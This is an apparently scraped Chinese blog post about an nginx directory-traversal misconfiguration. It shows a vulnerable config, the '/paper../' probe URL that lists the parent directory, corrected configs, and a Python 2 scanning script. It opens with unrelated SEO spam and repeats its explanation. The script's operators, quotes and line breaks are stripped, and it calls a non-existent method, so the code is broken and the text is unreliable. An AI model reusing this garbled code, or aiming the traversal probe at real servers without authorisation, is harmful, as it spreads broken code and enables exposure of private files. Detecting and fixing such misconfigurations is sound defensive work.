wap建站系统,网站制作公司知道万维科技,技术支持:上海网站建设,自己做的网站项目怎样卖nginx 是一款高性能的 web 服务器#xff0c;使用非常广泛#xff0c;其不仅经常被用作反向代理
在 nginx 中开启 autoindex#xff0c;配置不规范而造成目录遍历漏洞
配置如下#xff1a;
server { listen 80; server_name *.*.*.*; index index.htm index.html; root …nginx 是一款高性能的 web 服务器使用非常广泛其不仅经常被用作反向代理
在 nginx 中开启 autoindex配置不规范而造成目录遍历漏洞
配置如下
server { listen 80; server_name *.*.*.*; index index.htm index.html; root /home/wwwroot/www; access_log off; location /paper { alias /home/wwwroot/paper/; autoindex on; }
}
注意 这里 /home/wwwroot/paper/; 有个 /
当你浏览 http://*.*.*.*80/paper/, 正常情况应该遍历 /home/wwwroot/paper/ 这个目录但是如果访问 http://*.*.*.*80/paper../ 这个的话就会遍历 /home/wwwroot/ 这个目录了 nginx 是一款高性能的 web 服务器使用非常广泛其不仅经常被用作反向代理
在 nginx 中开启 autoindex配置不规范而造成目录遍历漏洞
配置如下
server {listen 80;server_name *.*.*.*;index index.htm index.html;root /home/wwwroot/www;access_log off;location /paper {alias /home/wwwroot/paper/;autoindex on;}
}
注意 这里 /home/wwwroot/paper/; 有个 /
当你浏览 http://*.*.*.*80/paper/, 正常情况应该遍历 /home/wwwroot/paper/ 这个目录但是如果访问 http://*.*.*.*80/paper../ 这个的话就会遍历 /home/wwwroot/ 这个目录了 nginx (Tested at 1.1.10) sebug 建议
使用如下配置
location /paper {alias /home/wwwroot/paper;
}
或
location /paper/ {alias /home/wwwroot/paper/;
}
接下来介绍一个自己测试用到的检测脚本用 Python 编写
#!/usr/bin/env python
# -*- coding: utf_8 -*-
# nginx配置错误目录遍历漏洞
# Date: 2019-01-14
import sys
import urllib2
from lxml import etreepocs [logs, test, paper]def nginx_test(ip, port):try:for poc in pocs:try:res1 urllib2.urlopen(http:// ip : port / poc, timeout 5)res_1 res1.read()code1 res1.getcode()server1 res_1.getserver()cmp_str1 Index of / poc /html1 etree.HTML(res_1)title1 html1.xpath(//title)# print title1[0].textif code1 200 and cmp_str1 title1[0].text:res2 urllib2.urlopen(http:// ip : port / poc ../, timeout 3)res_2 res2.read()code2 res2.getcode()cmp_str2 Index of / poc ../html2 etree.HTML(res_2)title2 html2.xpath(//title)# print title2[0].textif code2 200 and cmp_str2 title2[0].text and res_1 is not res_2:print Truereturn Trueexcept Exception,e:print error:, epassreturn Falseexcept Exception,e:print ereturn Falsenginx_test(IP, PORT)